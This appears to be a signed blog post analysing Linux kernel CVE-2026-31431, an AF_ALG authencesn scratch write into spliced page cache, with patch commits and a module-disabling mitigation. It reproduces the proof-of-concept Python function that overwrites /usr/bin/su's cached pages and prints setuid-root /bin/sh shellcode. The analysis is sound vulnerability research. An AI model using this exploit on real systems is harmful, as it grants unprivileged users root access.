-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## AF_ALG is the userspace door, splice is what made it dangerous\n\nThe kernel's in-tree crypto subsystem implements every block cipher, hash, AEAD, and KDF the kernel uses internally: IPsec, dm-crypt, kTLS, fscrypt, the lot. AF_ALG is the userspace face of that subsystem. A process opens `socket(AF_ALG, SOCK_SEQPACKET, 0)`, binds a name like `(\"aead\", \"authencesn(hmac(sha256),cbc(aes))\")`, sets a key via `setsockopt`, accepts a child socket for one operation, sends data, receives the transformed data. The interface is documented in `Documentation/crypto/userspace-if.rst` and was added in 2014.\n\n`algif_aead` is the AEAD frontend. The interesting variant for this CVE is `authencesn`, the IPsec authenticated-encryption template that combines an HMAC with a block cipher and an Extended Sequence Number. It is the userspace-callable version of the same algorithm Linux runs when it terminates an IPsec tunnel.\n\nThe TX side of an algif_aead operation is a chained scatterlist. Userspace can append to it two ways. `sendmsg(MSG_MORE)` copies bytes from a userspace buffer into kernel-allocated pages and chains them into the SGL. `splice(target_fd, op_fd, ...)` moves pages, without copying, from a source file descriptor into the same SGL. Splice is the path that matters here. When the source FD is a file open `O_RDONLY`, the pages that get chained into the TX SGL are pages from that file's page cache. Read-only mappings, kernel-resident, shared with every other process that has the file open or `mmap`'d.\n\nPre-2017, the AEAD operation ran out-of-place. The kernel allocated a separate destination buffer, the cipher read the SGL and wrote the buffer, the buffer was copied to userspace at recv time. Commit `72548b093ee3` (\"crypto: algif_aead - overhaul memory management\"), merged into Linux 4.14, made the operation in-place: `req->src` and `req->dst` became the same scatterlist. Cipher reads and cipher writes both went through the SGL. The optimization saved a copy on every op.\n\nIt also moved the destination of every cipher-internal write into pages the userspace caller had supplied.\n\n## The algorithm writes four bytes past its output, and always has\n\n`crypto_authenc_esn_decrypt` is the decrypt path of the authencesn template in `crypto/authencesn.c`. Like every authenticated decryption it does three things: verify the HMAC tag over `(AAD || ciphertext)`, decrypt the ciphertext to plaintext, return the plaintext. authencesn's specific complication is the Extended Sequence Number. The wire format carries only the low 32 bits of the IPsec sequence number; the HMAC has to be computed over a synthetic AAD that includes the high 32 bits as well. The algorithm gets the high bits from its request structure and has to splice them into the AAD before computing the HMAC.\n\nTo do that without an extra allocation, the implementation borrows four bytes of the destination buffer as scratch. It saves four bytes of the input, writes the high-SeqNum bits in their place, computes the HMAC, restores the original. The save lands at offset `assoclen + cryptlen` in `dst`, which is one byte past the end of where the plaintext will eventually be written. The line, unchanged in mainline through this CVE:\n\n```c\nscatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);\n```\n\nThe fifth argument is `out=1`: this is a write into the scatterlist, not a read from it. Four bytes at offset `assoclen + cryptlen` of `dst` get overwritten.\n\nWithin the algorithm's design the write is invisible: the destination buffer is the algorithm's own work area, the scratch is overwritten by real plaintext as decryption progresses, the borrow is paid back. It has been that shape since the template shipped. Of every caller of authencesn inside the kernel, none cared, because none of them passed a destination buffer they did not own.\n\nUntil `algif_aead` ran in-place and splice taught userspace how to fill `dst` with page cache.\n\n## Forty round trips, four bytes each, into `/usr/bin/su`'s page cache\n\nThe Theori PoC is two files. `copy_fail_exp.py` is the exploit; the README lists four kernel versions it has been tested against, including stock 6.17/6.18 on Ubuntu 24.04, Amazon Linux 2023, RHEL 10.1, and SUSE 16. The exploit body is one function repeated:\n\n```python\ndef patch(target, offset, word):\n s = socket(AF_ALG, SOCK_SEQPACKET, 0)\n s.bind((\"aead\", \"authencesn(hmac(sha256),cbc(aes))\"))\n s.setsockopt(SOL_ALG, ALG_SET_KEY,\n b'\\x08\\x00\\x01\\x00\\x00\\x00\\x00\\x10' + b'\\x00'*32)\n s.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)\n u, _ = s.accept()\n\n u.sendmsg([b'A'*4 + word],\n [(SOL_ALG, ALG_SET_OP, b'\\x00'*4), # DECRYPT\n (SOL_ALG, ALG_SET_IV, b'\\x10' + b'\\x00'*19), # ivlen=16\n (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b'\\x08\\x00\\x00\\x00')], # assoclen=8\n MSG_MORE)\n\n r, w = pipe()\n splice(target, w, offset+4, offset_src=0)\n splice(r, u.fileno(), offset+4)\n\n try: u.recv(8 + offset)\n except OSError: pass\n```\n\n`target` is `os.open(\"/usr/bin/su\", O_RDONLY)`. `offset` is the byte position inside `/usr/bin/su` where the attacker wants the four-byte payload to land. `word` is the four-byte payload.\n\nEach call sets up an AEAD-decrypt operation, sends eight bytes inline (`\"AAAA\"` followed by `word`), and then splices `offset+4` bytes from `/usr/bin/su` into the same operation. The TX scatterlist now holds, in order: eight bytes of inline data, then `offset+4` bytes of the file's first page from the page cache. Total length: `offset + 12`.\n\n`recv` tells the kernel to drain the operation. With `assoclen=8`, total length `offset+12`, and `authsize=4`, the kernel computes `cryptlen = (offset+12) - 8 - 4 = offset`. Inside `crypto_authenc_esn_decrypt`, the line above fires: four bytes get written to `dst` at offset `assoclen + cryptlen = 8 + offset`. Bytes 0 through 7 of `dst` are the inline payload. Bytes 8 onward are the spliced file-page region. Offset `8 + offset` lands at byte `offset` of `/usr/bin/su`'s page cache.\n\nThe four bytes that land are not literally `word`. They are derived from the algorithm's internal state, which is in turn derived from the cipher inputs the attacker supplied: the key, the IV, the AAD, the ciphertext. The attacker chose all four. With the parameters in the PoC, the four bytes deposited at file offset `offset` are exactly `word`. The attacker writes `word`, the kernel computes `word`, the page cache holds `word`.\n\nThe outer loop is forty iterations, four bytes per iteration, sweeping offsets 0 through 156 of `/usr/bin/su`'s first page. The 160 bytes that get written are a self-contained ELF: a 64-byte ELF header, a 56-byte program header for one PT_LOAD segment marked R+X, and a 40-byte payload at entry point `0x400078`:\n\n```\n31 c0 xor eax, eax\n31 ff xor edi, edi\nb0 69 mov al, 0x69 ; sys_setuid\n0f 05 syscall\n48 8d 3d 0f 00 00 00 lea rdi, [rip+0xf]\n31 f6 xor esi, esi\n6a 3b push 0x3b ; sys_execve\n58 pop rax\n99 cdq\n0f 05 syscall\n ; \"/bin/sh\\0\"\n```\n\nAfter the loop, `/usr/bin/su`'s page cache holds an ELF that calls `setuid(0)` and then `execve(\"/bin/sh\", NULL, NULL)`. The exploit calls `os.system(\"su\")`. The kernel's exec path reads the file through the page cache, finds the modified ELF, applies `/usr/bin/su`'s setuid bit, runs the payload as root.\n\nThe bytes on disk are unchanged. The page cache is never marked dirty. There is no writeback to the filesystem. A reboot, or any pressure that drops these specific pages, restores the original `su`. While the cache holds the modified pages, every process that exec's `/usr/bin/su` runs the attacker's payload.\n\n## The cipher template is incidental; the destination is the bug\n\nThe Crihexe variant of the exploit (`copy-fail-tiny-elf-CVE-2026-31431`) is a 410-byte position-independent ELF that contains, at virtual address `0x400008`, the algorithm name string it binds the AF_ALG socket to:\n\n```\nauthencesn(hmac(md5),ecb(cipher_null))\n```\n\n`hmac(sha256)` becomes `hmac(md5)`. `cbc(aes)` becomes `ecb(cipher_null)`. The PoC works. The cipher does not encrypt anything; the hash is broken; the bind succeeds because the kernel's crypto registry composes the template at request time. The four-byte scratch write happens because authencesn is the outer template, and authencesn's logic is what writes it. The choice of inner algorithms is an implementation detail of the input the attacker uses to pin the four bytes to whatever value they want.\n\nThis is the part the cipher-name in the CVE description obscures. CVE-2026-31431 is not a bug in CBC-AES, not a bug in HMAC-SHA256, not a bug in any specific cipher. It is a bug in the AAD-relocation step of the authencesn template, which is the same step regardless of what is plugged into the inner brackets. Any AEAD template that scratches its dst behaves the same way under in-place algif_aead with spliced page cache. The kernel's crypto registry exposes more than two hundred AEAD templates by name through AF_ALG. The catalog of algorithms to which this primitive applies is the catalog of AEADs that compose like this, and authencesn is the first one publicly demonstrated.\n\n## The patch reverts the 2017 optimization\n\nThe fixes that landed on April 11, 2026 (commit `a664bf3d603d` in mainline; `fafe0fa2995a` for 6.18.22; `ce42ee423e58` for 6.19.12) restore `algif_aead` to out-of-place operation. `req->src` and `req->dst` are no longer the same scatterlist. The kernel allocates a destination buffer, the AEAD operation runs into that buffer, the result is copied back to userspace at recv time. The 2017 optimization is gone.\n\n`crypto/authencesn.c` is untouched. `crypto_authenc_esn_decrypt` still calls `scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1)`. The four bytes still land at offset `assoclen + cryptlen` of `dst`. The difference is what `dst` is: a kernel-allocated buffer the algorithm's caller owns, instead of a chained SGL whose pages the algorithm has no way of inspecting. The algorithm's contract, \"I get to scratch in my output region,\" was always written in the algorithm's head and never enforced anywhere. For nine years the contract held because the only callers of authencesn that put foreign pages into `dst` did not exist yet. Once splice fed page-cache pages into the in-place algif_aead path, the contract was decoration. Decoration does not stop a memcpy.\n\nThe fix does not apply cleanly to longterm trees. Sam James's reply on oss-security on April 30 enumerates them: 6.12, 6.6, 6.1, 5.15, 5.10. The recommended interim mitigation is to disable the algif_aead module entirely:\n\n```bash\necho \"install algif_aead /bin/false\" > /etc/modprobe.d/disable-algif.conf\n```\n\nThe mitigation breaks any userspace that depends on the kernel's AEAD interface. In practice the module is rarely loaded outside of explicit testing; most production crypto runs in userspace libraries. The mitigation also leaves `algif_skcipher` and `algif_hash` in place. Neither has been demonstrated to expose this exact primitive. Neither has been audited against the same question.\n\nCISA listed CVE-2026-31431 in the Known Exploited Vulnerabilities catalog with a remediation deadline of May 15, 2026. The first PoC repository on GitHub (theori-io/copy-fail-CVE-2026-31431) is dated April 29. By the morning of May 2, more than a hundred and thirty separate PoC repositories were live. One is a container-escape variant against runC; one is a Kubernetes-pod variant; one is a port to a constrained Java runner inside a sandboxed cloud function. The remainder are direct copies, ports, or detection scripts. The 821-star repo is the original.\n\n## Borrowed pages were always going to be the destination\n\nThis is the [borrowed-pages-as-scratch](/patterns/borrowed-pages-as-scratch) pattern. A subsystem performs a fixed-size scratch write into a destination buffer under an internal contract that it owns the memory. A different subsystem supplies the buffer with foreign-owned pages, page cache here, mapped device or peer-process memory in other instances. The contract is documentation; the legitimate scratch becomes a write primitive across a trust boundary nobody guards.\n\nThe shape will reproduce in any subsystem where two of the kernel's internal contracts disagree about who owns the destination, and a userspace path can cross between them. AF_ALG plus splice is the documented one. io_uring fixed-buffer writes into mappings of read-only files, direct I/O races against in-place file ops, GUP-pinned pages handed to transforms that assume kernel ownership: same shape, different parties. The CVE list is the part visible above the water.\n\nThe algorithm did not change. The destination did.\n\nPoC: [theori-io/copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)","closing_line":"`authencesn` has been writing those four bytes for nine years. The patch is not in `authencesn`.","hook_md":"AF_ALG is the Linux kernel's userspace door into its in-tree crypto API. An unprivileged process opens a socket, names an algorithm, sends bytes through, gets ciphertext or plaintext back. The Theori PoC for CVE-2026-31431 opens that door, sends eight bytes inline, splices in a chunk of `/usr/bin/su` read-only, and drains the result. After forty round trips, `/usr/bin/su`'s page cache contains a different ELF.\n\nThe four bytes that get overwritten on each round trip are not the bytes the caller sent. They are scratch state that `crypto_authenc_esn_decrypt` has been writing past its output buffer since 2017, for reasons the algorithm needs and nobody else thinks about. The scratch always landed in a kernel-allocated buffer, until `algif_aead` got an in-place optimization that made the buffer the user's scatterlist, until splice taught users to feed page cache into that scatterlist.\n\n`authencesn` has been writing those four bytes for nine years. The patch is not in `authencesn`.","post_id":71,"slug":"linux-copyfail-cve-2026-31431-the-bug-is-not-in-authencesn","title":"CVE-2026-31431: authencesn Has Been Writing Those Four Bytes for Nine Years. The Patch Is Not in authencesn.","type":"initial","unreadable_sentence":"The algorithm did not change. The destination did."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCafYOuAAKCRDeZjl4jgkQ JpNAAP4iUf2tREUUJU84Cjr8JNDb94sxfw7Uw90FklNhdYowHQEArAt6ZFM2pBOG a5h03Earu6U6MLa/MT4EH5riEOj2Pgk= =nlto -----END PGP SIGNATURE-----